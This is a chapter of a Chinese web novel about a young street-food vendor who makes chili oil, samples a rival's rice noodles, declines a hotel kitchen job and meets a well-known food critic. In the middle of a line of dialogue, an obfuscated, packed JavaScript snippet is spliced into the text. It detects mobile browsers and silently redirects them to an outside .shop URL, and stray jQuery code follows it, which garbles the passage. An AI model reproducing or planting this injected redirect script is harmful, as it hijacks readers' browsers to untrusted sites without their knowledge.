晚上,罗雁回到出租屋的时候已经十点了。
摆摊累了一天,回到家也没法停。简单收拾了一下,又钻入厨房,准备明天出摊要用的毕罗和杏酪。
将食材全部整理好,又是两个多小时以后了。
瘫倒在沙发上,掏出手机,打开网上找到的一个油泼辣子的视频,又看了一遍。
她想试试做这个油泼辣子。
今日与卡卡交流后,她觉得自己要融入、仅仅只知道不能喊辣椒油,得喊油泼辣子是不够的。起码,大家都是摆摊卖美食的手艺人,她应该要会做才行。
看了视频后,她大概也知道了,“油泼辣子”这名字是怎么来的了。
粗细混合的辣椒面,这儿的人习惯称之为辣子。而油泼,便是以热油泼入辣子激发香味。
油泼辣子的灵魂也是这泼油的动作,看完视频后,她大概总结为总结为三泼。
一泼冷油,将辣椒面与五香粉、白芝麻一起搅拌,主要是防止热油浇下被直接炸糊,发苦。
二泼三分之一的热油,搅匀。
最后再泼入剩下的全部热油,完成油泼辣子的制作。
热油的手艺看着也不难,其中提到的大料她也已经全部买齐。罗雁此时兴趣正浓,打算趁今晚先试一下。
起身,又钻回厨房。
掏出红色的干秦椒,去头剪段,倒入用油提前润好的锅中,加入一小把花椒,小火翻搅煸干。
干炒辣椒,味儿很快散发出来,伴随着“簌簌”的声响,香气宜人,还很解压。
罗雁每日做的菜,多是软乎乎的面团和果酱,突然炒起这种干料来,截然不同的感觉让她心情顿时愉悦不少。
火候差不多了,辣椒也足够脆了,她才熄火,将辣椒自然放凉。
放凉后的辣椒用石臼臼成粉末,嘎嘣脆的手感让她几乎忘记了此时已经接近凌晨一点。脑子清明,身体上更是有使不完的力。
备完辣椒后就开始起锅烧油了,到这一步开始就简单了。
她几乎不需要再看笔记,将葱姜蒜和香料等料头一起放入菜籽油里,小火慢炸。
热油翻滚,料头焦黄。油好了,她要来开始三泼辣子了。
一泼冷油,二泼热油。
第一勺热油下去的时候,“滋啦”声不断,整个厨房开始弥漫起辣椒的香味,比刚刚炒制的味道还要再香一些。
她深深地吸了一口气。
罗雁不清楚这是不是心理作用,只觉得这味道比外面她闻过的油泼辣子还要再香上许多。
最后热油全部倒入。
辣子的香味被完全激发,从厨房开着的窗散发出去。
此时是大热天,家家户户许多人都会开着空调睡觉,紧闭门窗。唯有小部分长辈,总觉得开空调不好,晚上凉气来了就会关掉空调,打开窗户。
香味顺着窗户爬入,将睡梦中人馋醒。
一名老太太睁开眼,翕动鼻子,谁大晚上的,不睡觉做油泼辣子呢?还做得这么香,不让人睡觉了?
打开窗户朝外看去,不少门窗内亮着灯,完全找不着是哪家的。
“老头,醒醒。”老太太拍了拍身旁老头的大肚腩,“帮我闻闻哪家的。”
老头闭着眼,“睡觉。”
老太太:“你不觉得这油泼辣子味道很好吗?”
老头:“还成。”还有改进的空间。
老太太只能悻悻然地多吸了几口,才不甘的睡去。
临睡时候还想着,明日一定要好好问问,那油泼辣子是哪一户做出来的。
她要去舀一勺,好久没闻到这样的香味了。
罗雁哪知窗外还有人被馋醒,只知道自己这锅油泼辣子算是初步尝试成功了。倒扣上盖子,她就去睡觉了。
翌日,又是阳光明媚的一天。
罗雁提着食材,七点准点出摊。
今日老街出摊的摊子没有昨前两日那般多,她如果要换个位置是能换到其他视野较好的位置上的。
但罗雁没有换,径直来到老位子。
将毕罗杏酪摆在摊子下面,她脚下一个转弯,来到了一个摊子面前,“老板,来碗热米皮。”
她昨日吃了卡卡的凉皮,也知道了新化市这地儿,凉皮、热米皮堪称齐名的两大特色,打算今日找一家热米皮试试的。
正好街上就有一家,她打算当做早餐试试味。
抬眼看到摊主后,罗雁发现还是老熟人。上次被她说豆芽菜太软,结果气到搬走的那个摊主。
想到这,她看了眼老板,又看了眼摊子上摆着的豆芽菜。发觉今日的比前几日的好太多了。
老黄也记得她,听到声音就知道了,还在检查食材的手抖了一下,一抬眼,果然是那个大学生。
来我这吃热米皮?是真的光顾,还是找茬?
老黄心里嘀咕,却没有将上门的生意推出去的道理,“有忌口的吗?”
罗雁:“没有。”
蒸米皮,下酱汁。
两分钟不到,一碗热米皮备好了,只是在加入豆芽菜的时候,他手停顿了一下。
今日的豆芽菜他又减少了一点焯水时间,起码外表起来,已经不是软塌塌的状态了。
热米皮到罗雁手中时候,还热腾腾地冒着热气。
将米皮、豆芽菜与面上淋的油泼辣子拌匀,先吃了一口。
米皮有劲道,做得还可以。油泼辣子偏咸,又加了一点麻酱在里面,罗雁能感觉到这个东西本身的味道是好吃的。
调料搭配也是没有问题的。
只是昨日吃了凉皮,又自己动手做了油泼辣子,今日再试这热米皮,她总觉得这东西好像还不错,能入口,可就是感觉缺了点什么东西。
看来有机会得搜索一下这化新最好吃的热米皮店,再去试一口。
罗雁什么也没说转身就走了,她甚至都没再看摊主,老黄心中却不知为什么十分忐忑。
好奇怪,老黄皱着眉头看她的背影。
既然不是来挑刺的,那吃完笑一下总可以吧?她平时不是挺爱笑的吗,对着那些买东西的人笑得多开心啊。怎么吃之前还会笑,吃完以后就不笑了。是不是他做的有问题?
抱着这样的心情,老黄给自己蒸了一碗热米皮。
没错啊……
身后老黄是什么心思,罗雁压根不知道。回到自己摊前时候,她已经完全收拾完心思,开始摆上毕罗和杏酪,准备下午巨胜奴的食材了。
“老板。”一个昨日才买过巨胜奴的客人走近,“原来你早上就在摊上揉面啊。”
罗雁抬眼,来人很眼熟,昨日买了一斤巨胜奴回去,笑着说:“你好呀,要买点毕罗和杏酪回去吗?”
“可以啊,”来人点头,“我先自我介绍一下吧,我姓陈,叫陈自强,是盛新酒店的后厨,想问你有没有兴趣,来我们后厨做?”
诶?招安的?
罗雁笑着摇了摇头,“谢谢你对我东西的喜欢。不过不用了。”
陈自强一愣,见她连待遇都没听就摇头,紧张了,“诶,你不听听待遇吗?”
昨日他带着一斤巨胜奴回宿舍,一下子就将宿舍的几人给香到了,还勾搭到了厨师长。
厨师长吃了巨胜奴,又仔细对比了这些巨胜奴的成品,说这人是个做酒店的人才,让他今日过来探探口风。
还带走了三个巨胜奴,说带去给顾问试试。
陈自强看罗雁昨日买东西时候笑得那么开心,摆摊那么累,若是能进酒店后厨肯定是一口就能答应的。干脆夸下海口,跟厨师长说没有问题,让他放一百个心。没想到罗雁一口就回绝了。
“我们盛新酒店真的很出名的,五星级酒店,后厨还评了三星级米其林的。”陈自强说,“工资厨师长说可以开一万五到两万的。你看你摆摊这么累,还不如跟我去试试。”
罗雁还是摇头婉拒,她是不可能去的。
她十五岁那年,就是因着年纪小不懂事,应了那贵人的邀请,从此在宫中困了七年。
尽管一级一级地往上走,但她内心依旧还是想着能回到宫墙之外,守着他们罗家小铺,又或者踏遍山河吃遍世间美食。
陈自强却不愿意放弃,“老板,要不你找个时间跟我去厨房看看?我保证是个高薪又轻松的好工作。”
厨师长可是许诺了,若是他能将人招来,就给他奖励一个月的工资。
罗雁还是摇头。
陈自强:“老板,摆摊是不能长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934794|213222||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
久的。你再好好考虑?”
有些原因罗雁说不了,她只好问:“你说的盛新酒店,跟新骏酒店比,如何?”
新骏酒店是当时韩清带她去的那家酒店,韩清清空了整个后厨,腾出地方给她做金齑玉脍。
后来,韩清给她回复说做成功后,还跟她说新骏酒店后厨厨师长想邀请她,她直接帮罗雁拒绝了。
陈自强停了一下,“可能,还是差一点吧。”
这个他想吹嘘都吹不了。
新骏是五星级酒店,全国连锁的。他所在的盛新酒店,不过是新化市本地的一家新开的酒店。五星级还是刚评上不久的事情。
“他们厨师长也邀请过我了。”罗雁随口说,“我也拒绝了。”
虽然拒绝的人是韩清,不是她,但是若是韩清问她了,她应该,大抵也是会拒绝的。除非真的缺钱。
陈自强“啊”了一声,脸上尽是不可置信,连新骏都拒绝了,那他们盛新就更没机会了。
悻悻然地转头就走。
罗雁也没喊他,如果他真的想吃东西,还会回来再买的。
今日这事她也就只当是与食客的一场普通的小交流。哪里知道,晚上时候,摊前来了一个奇怪的客人。
上了年纪,头发灰白,肚腩不小,背着手,一脸生人勿近的表情,背着手,弯着腰在看她的樱桃毕罗。
“小姑娘,这毕罗是你自己做的?”
声音暗沉,带着一股不怒自威的气势,能吓到普通人,却对罗雁毫无影响。
她毫无感觉似地朝老人笑了一下,“老大哥,是我自己做的,要来一份吗?酸甜可口,搭配一杯杏酪,可解你一整天下来积的暑气。”
老人眼神沉沉,定定看了她一会。
他知道自己这表情一般都能吓得小孩哭闹,大人寒噤的,可眼前这小女娃却毫无影响,甚至还叫自己“老大哥”。
他得多少年没见着这么勇的人了,也不知道是太嫩了不知道害怕,还是本就是老油条。
“来一个。”
罗雁:“好嘞。”
她递了一个装好袋子的毕罗过去。
完全无知无觉,也不关注,眼神顺势往旁边新来的,想买一份巨胜奴的顾客身上去。
老人很快吃完了一个毕罗,吃的时候,脸上是一点表情也没有的。
从旁人的角度看去,他的脸甚至除了咀嚼时候嘴巴动了动,其他地方甚至连眉梢子都没动上一下。
换做其他厨子,可能此时已经心中忐忑了,不知道是不是味道入不了这老人家的喜欢。
可罗雁完全没有,只当他是一个普通客人。
老人吃完毕罗后,踱了几步又回到摊前,“小姑娘,你这捏面团的手艺是跟谁学的?”
罗雁百忙中听到这句问话,头也不抬地说:“跟我爷爷学的。”
此时,人群中已经有人认出老人来了。
“嚯,这不是许老么?”
“许老是谁?”
“许老是我们这的一个老饕,超级会吃,被那个盛新酒店请去当菜品顾问了。”
“哦。盛新酒店。”
提起盛新酒店大家都知道了,本地为数不多的几家五星级酒店。
人群的嘈杂没人压低声音,不少人都听到了,包括罗雁在内。
此时,那知道许老的人还在滔滔不绝地给身旁的人介绍,“这个许老超牛的,上次美食大赛,本来第三与第四名两道菜不分伯仲的,这许老硬生生地给将一道排名第五的给拉了上来,成了第三。要知道,美食大赛可是全国大赛,受邀来这点评的美食家几乎都是全国顶级的……”
罗雁竖着的耳朵动了一下,看向许老的眼神瞬间不一样了。
她不知道过程,没注意。但美食大赛最后公布的第三名,恰恰是韩清复刻唐菜的金齑玉脍。
这老头,不错,有眼光的。
“嘿,许老,你好。”她主动朝许老打招呼,脸上堆满笑容,“还想吃吗?我免费赠送。”
许老的脸色本就不好看,见她这般,更难看了。
他最讨厌这种趋炎附势的人了。
可他没有转身掉头就走,原因就在于……这小丫头的手艺,倒确实有几分功夫。